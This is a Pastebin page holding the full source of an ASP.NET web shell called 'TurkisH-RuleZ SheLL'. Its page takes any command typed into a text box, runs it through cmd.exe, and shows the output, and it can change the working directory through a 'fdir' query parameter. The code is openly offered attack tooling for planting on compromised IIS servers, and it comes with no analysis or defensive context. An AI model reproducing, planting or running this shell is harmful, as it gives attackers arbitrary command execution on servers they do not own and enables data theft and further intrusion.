SHARE
TWEET

aspx

a guest Jul 19th, 2019 107 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <%-- TurkisH-RuleZ SheLL v0.2 - CMD Version --%>
  2. <%--  www.sec4ever.com  | www.sec-t.net --%>
  3. <%@ Page Language="C#" EnableViewState="false" %>
  4. <%@ Import Namespace="System.Web.UI.WebControls" %>
  5. <%@ Import Namespace="System.Diagnostics" %>
  6. <%@ Import Namespace="System.IO" %>
  7.  
  8. <%
  9.     string outstr = "";
  10.    
  11.     // Path That wE're iN iT :D
  12.     string dir = Page.MapPath(".") + "/";
  13.     if (Request.QueryString["fdir"] != null)
  14.         dir = Request.QueryString["fdir"] + "/";
  15.     dir = dir.Replace("\\", "/");
  16.     dir = dir.Replace("//", "/");
  17.  
  18.     // Executing Command'z
  19.     if (txtCmdIn.Text.Length > 0)
  20.     {
  21.         Process p = new Process();
  22.         p.StartInfo.CreateNoWindow = true;
  23.         p.StartInfo.FileName = "cmd.exe";
  24.         p.StartInfo.Arguments = "/c " + txtCmdIn.Text;
  25.         p.StartInfo.UseShellExecute = false;
  26.         p.StartInfo.RedirectStandardOutput = true;
  27.         p.StartInfo.RedirectStandardError = true;
  28.         p.StartInfo.WorkingDirectory = dir;
  29.         p.Start();
  30.  
  31.         lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd();
  32.         txtCmdIn.Text = "";
  33.     }  
  34. %>
  35.  
  36.  
  37.  
  38. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  39.  
  40. <script runat="server">
  41.  
  42.     protected void cmdUpload_Click(object sender, EventArgs e)
  43.     {
  44.  
  45.     }
  46.  
  47.     protected void txtCmdIn_TextChanged(object sender, EventArgs e)
  48.     {
  49.  
  50.     }
  51. </script>
  52.  
  53.  
  54. <html xmlns="http://www.w3.org/1999/xhtml" >
  55. <head>
  56.     <title># TurkisH-RuleZ SheLL</title>
  57.     <style type="text/css">
  58.         * { font-family: Arial; font-size: 12px; }
  59.         body { margin: 0px; }
  60.         pre { font-family: Courier New; background-color: #c7c7c7;  }
  61.         h1 { font-size: 16px; background-color: #000000; color: #ffffff; padding: 5px; }
  62.         h2 { font-size: 14px; background-color: #000000; color: #ffffff; padding: 2px; }
  63.         th { text-align: left; background-color: #000000; }
  64.         td { background-color: #000000; }
  65.         pre { margin: 2px; }
  66.     </style>
  67. </head>
  68. <body bgcolor="#000000">
  69.     <form id="form1" runat="server">
  70.     <div align="left">
  71.         <table border="0" width="100%" id="table1" cellspacing="0" cellpadding="0" bgcolor="#CC8CED">
  72.             <tr>
  73.                 <td>
  74.     <table style="width: 100%; border-width: 0px; padding: 5px;" id="table2">
  75.         <tr>
  76.             <td style="width: 50%; vertical-align: top;">
  77.                 <h2><font color="#FF0000"># Command  Line Shell Priv8&nbsp;</font></h2>
  78.                 <p>
  79.                                         &nbsp;</p>             
  80.                 <asp:TextBox runat="server" ID="txtCmdIn" Width="300" OnTextChanged="txtCmdIn_TextChanged" BackColor="Black" BorderColor="Red" ForeColor="White" BorderStyle="Dotted" BorderWidth="1px" />
  81.                 &nbsp; &nbsp;<asp:Button runat="server" ID="cmdExec" Text="Execute" BackColor="Black" Font-Bold="True" ForeColor="White" BorderColor="Red" BorderStyle="Dotted" BorderWidth="1px" />
  82.                 <p>&nbsp;</p>
  83.                 <pre><asp:Literal runat="server" ID="lblCmdOut" Mode="Encode" /></pre>
  84.             </td>
  85.         </tr>
  86.     </table>
  87.  
  88.     <p>&nbsp;</p>
  89.  
  90.  
  91.                 </td>
  92.             </tr>
  93.         </table>
  94.     </div>
  95.  
  96.     </form>
  97. </body>
  98. </html>
  99.  
  100. <br>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top